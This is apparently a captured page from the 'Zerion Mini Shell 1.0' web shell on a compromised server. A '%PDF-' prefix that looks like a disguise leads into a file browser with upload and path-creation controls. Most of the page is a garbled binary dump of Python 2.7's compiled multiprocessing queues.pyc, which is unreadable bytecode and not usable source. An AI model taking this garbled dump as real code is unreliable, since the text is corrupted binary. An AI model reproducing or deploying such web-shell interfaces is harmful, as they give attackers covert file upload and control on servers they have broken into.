%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/local/lib/python2.7/multiprocessing/
Upload File :
Create Path :
Current File : //usr/local/lib/python2.7/multiprocessing/queues.pyc

ó
Pêáac@s>dddgZddlZddlZddlZddlZddlZddlZddlZddlm	Z	m
Z
ddlZddlm
Z
ddlmZmZmZmZdd	lmZmZmZmZmZdd
lmZdefd„ƒYZeƒZdefd„ƒYZdefd
„ƒYZdS(tQueuetSimpleQueuet
JoinableQueueiÿÿÿÿN(tEmptytFulli(tPipe(tLocktBoundedSemaphoret	Semaphoret	Condition(tdebugtinfotFinalizetregister_after_forkt
is_exiting(tassert_spawningcBsËeZdd„Zd„Zd„Zd„Zedd„Zedd„Z	d„Z
d„Zd	„Zd
„Z
d„Zd„Zd
„Zd„Zd„Zed„ƒZed„ƒZed„ƒZRS(icCsÀ|dkrtjj}n||_tdtƒ\|_|_tƒ|_	t
jƒ|_t
jdkrud|_ntƒ|_t|ƒ|_|jƒt
jdkr¼t|tjƒndS(Nitduplextwin32(t_multiprocessingtSemLockt
SEM_VALUE_MAXt_maxsizeRtFalset_readert_writerRt_rlocktostgetpidt_opidtsystplatformtNonet_wlockRt_semt_after_forkR
R(tselftmaxsize((s2/usr/local/lib/python2.7/multiprocessing/queues.pyt__init__:s	
cCs8t|ƒ|j|j|j|j|j|j|jfS(N(RRRRRR R!R(R#((s2/usr/local/lib/python2.7/multiprocessing/queues.pyt__getstate__Ls
cCs>|\|_|_|_|_|_|_|_|jƒdS(N(RRRRR R!RR"(R#tstate((s2/usr/local/lib/python2.7/multiprocessing/queues.pyt__setstate__Qs0cCstdƒtjtjƒƒ|_tjƒ|_d|_	d|_
t|_t|_
d|_|jj|_|jj|_|jj|_dS(NsQueue._after_fork()(R
t	threadingR	Rt	_notemptytcollectionstdequet_bufferRt_threadt_jointhreadRt_joincancelledt_closedt_closeRtsendt_sendRtrecvt_recvtpollt_poll(R#((s2/usr/local/lib/python2.7/multiprocessing/queues.pyR"Vs
					cCs|jst‚|jj||ƒs.t‚n|jjƒz=|jdkrZ|jƒn|j	j
|ƒ|jjƒWd|jjƒXdS(N(
R1tAssertionErrorR!tacquireRR*R.Rt
_start_threadR-tappendtnotifytrelease(R#tobjtblockttimeout((s2/usr/local/lib/python2.7/multiprocessing/queues.pytputcs	

cCs|rT|dkrT|jjƒz!|jƒ}|jjƒ|SWd|jjƒXn¯|rmtjƒ|}n|jj||ƒs‹t‚nzg|r¿|tjƒ}|j|ƒsÔt‚qÔn|jƒsÔt‚n|jƒ}|jjƒ|SWd|jjƒXdS(N(	RRR:R6R!R>ttimeRR8(R#R@RAtrestdeadline((s2/usr/local/lib/python2.7/multiprocessing/queues.pytgetqs,

		
cCs|j|jjjƒS(N(RR!t_semlockt
_get_value(R#((s2/usr/local/lib/python2.7/multiprocessing/queues.pytqsizescCs|jƒS(N(R8(R#((s2/usr/local/lib/python2.7/multiprocessing/queues.pytempty‘scCs|jjjƒS(N(R!RGt_is_zero(R#((s2/usr/local/lib/python2.7/multiprocessing/queues.pytfull”scCs
|jtƒS(N(RFR(R#((s2/usr/local/lib/python2.7/multiprocessing/queues.pyt
get_nowait—scCs|j|tƒS(N(RBR(R#R?((s2/usr/local/lib/python2.7/multiprocessing/queues.pyt
put_nowaitšscCsDt|_z|jjƒWd|j}|r?d|_|ƒnXdS(N(tTrueR1RtcloseR2R(R#RP((s2/usr/local/lib/python2.7/multiprocessing/queues.pyRPs			cCs3tdƒ|jst‚|jr/|jƒndS(NsQueue.join_thread()(R
R1R9R/(R#((s2/usr/local/lib/python2.7/multiprocessing/queues.pytjoin_thread§s
	cCs<tdƒt|_y|jjƒWntk
r7nXdS(NsQueue.cancel_join_thread()(R
ROR0R/tcanceltAttributeError(R#((s2/usr/local/lib/python2.7/multiprocessing/queues.pytcancel_join_thread­s
	
c	Csótdƒ|jjƒtjdtjd|j|j|j|j	|j
jfddƒ|_t
|j_tdƒ|jjƒtdƒ|jsÅt|jtjtj|jƒgdd	ƒ|_nt|tj|j|jgdd
ƒ|_dS(NsQueue._start_thread()ttargettargstnametQueueFeederThreadsdoing self._thread.start()s... done self._thread.start()texitpriorityiûÿÿÿi
(R
R-tclearR)tThreadRt_feedR*R4R RRPR.ROtdaemontstartR0Rt_finalize_jointweakreftrefR/t_finalize_closeR2(R#((s2/usr/local/lib/python2.7/multiprocessing/queues.pyR;µs(

		


		cCsDtdƒ|ƒ}|dk	r6|jƒtdƒn
tdƒdS(Nsjoining queue threads... queue thread joineds... queue thread already dead(R
Rtjoin(ttwrtthread((s2/usr/local/lib/python2.7/multiprocessing/queues.pyR_Õs
	

cCsAtdƒ|jƒz|jtƒ|jƒWd|jƒXdS(Nstelling queue thread to quit(R
R:R<t	_sentinelR=R>(tbuffertnotempty((s2/usr/local/lib/python2.7/multiprocessing/queues.pyRbßs


cCs[tdƒ|j}|j}|j}|j}t}	tjdkrX|j}
|j}nd}
xöy¬|ƒz|s~|ƒnWd|ƒXynxg|ƒ}||	krºtdƒ|ƒdS|
dkrÓ||ƒq|
ƒz||ƒWd|ƒXqWWnt	k
rnXWqat
k
rR}
tƒr9td|
ƒdSddl
}|jƒqaXqaWdS(Ns$starting thread to feed data to pipeRs%feeder thread got sentinel -- exitingserror in queue thread: %siÿÿÿÿ(R
R:R>twaittpopleftRfRRRt
IndexErrort	ExceptionRRt	tracebackt	print_exc(RgRhR3t	writelockRPtnacquiretnreleasetnwaittbpoplefttsentineltwacquiretwreleaseR?teRm((s2/usr/local/lib/python2.7/multiprocessing/queues.pyR\ésL
						


	
N(t__name__t
__module__R%R&R(R"RORRBRFRIRJRLRMRNRPRQRTR;tstaticmethodR_RbR\(((s2/usr/local/lib/python2.7/multiprocessing/queues.pyR8s$			
						
			 

cBsGeZdd„Zd„Zd„Zedd„Zd„Zd„Z	RS(icCs/tj||ƒtdƒ|_tƒ|_dS(Ni(RR%Rt_unfinished_tasksR	t_cond(R#R$((s2/usr/local/lib/python2.7/multiprocessing/queues.pyR%)scCstj|ƒ|j|jfS(N(RR&R|R{(R#((s2/usr/local/lib/python2.7/multiprocessing/queues.pyR&.scCs.tj||d ƒ|d\|_|_dS(Niþÿÿÿ(RR(R|R{(R#R'((s2/usr/local/lib/python2.7/multiprocessing/queues.pyR(1scCs´|jst‚|jj||ƒs.t‚n|jjƒ|jjƒzJ|jdkrg|j	ƒn|j
j|ƒ|jj
ƒ|jjƒWd|jj
ƒ|jj
ƒXdS(N(R1R9R!R:RR*R|R.RR;R-R<R{R>R=(R#R?R@RA((s2/usr/local/lib/python2.7/multiprocessing/queues.pyRB5s	




cCsi|jjƒzG|jjtƒs1tdƒ‚n|jjjƒrS|jjƒnWd|jjƒXdS(Ns!task_done() called too many times(	R|R:R{Rt
ValueErrorRGRKt
notify_allR>(R#((s2/usr/local/lib/python2.7/multiprocessing/queues.pyt	task_doneFs
cCsH|jjƒz&|jjjƒs2|jjƒnWd|jjƒXdS(N(R|R:R{RGRKRiR>(R#((s2/usr/local/lib/python2.7/multiprocessing/queues.pyRcPs

N(
RxRyR%R&R(RORRBRRc(((s2/usr/local/lib/python2.7/multiprocessing/queues.pyR's			
cBs5eZd„Zd„Zd„Zd„Zd„ZRS(cCs\tdtƒ\|_|_tƒ|_tjdkrBd|_	ntƒ|_	|j
ƒdS(NRR(RRRRRRRRRR t
_make_methods(R#((s2/usr/local/lib/python2.7/multiprocessing/queues.pyR%^scCs|jjƒS(N(RR7(R#((s2/usr/local/lib/python2.7/multiprocessing/queues.pyRJgscCs&t|ƒ|j|j|j|jfS(N(RRRRR (R#((s2/usr/local/lib/python2.7/multiprocessing/queues.pyR&js
cCs,|\|_|_|_|_|jƒdS(N(RRRR R€(R#R'((s2/usr/local/lib/python2.7/multiprocessing/queues.pyR(nscs«|jj‰|jj|jj‰‰‡‡‡fd†}||_|jdkrd|jj	|_
nC|jj	‰|jj|jj‰‰‡‡‡fd†}||_
dS(Ncs!ˆƒzˆƒSWdˆƒXdS(N(((tracquireR5trrelease(s2/usr/local/lib/python2.7/multiprocessing/queues.pyRFuscs$ˆƒzˆ|ƒSWdˆƒXdS(N((R?(R3RuRv(s2/usr/local/lib/python2.7/multiprocessing/queues.pyRBƒs(RR5RR:R>RFR RRR3RB(R#RFRB((RR5R‚R3RuRvs2/usr/local/lib/python2.7/multiprocessing/queues.pyR€rs	(RxRyR%RJR&R(R€(((s2/usr/local/lib/python2.7/multiprocessing/queues.pyR\s
					(t__all__RRR)R+RCtatexitR`RRRRtRtsynchronizeRRRR	tutilR
RRR
RtforkingRtobjectRfRR(((s2/usr/local/lib/python2.7/multiprocessing/queues.pyt<module>#s""(å	
5

Zerion Mini Shell 1.0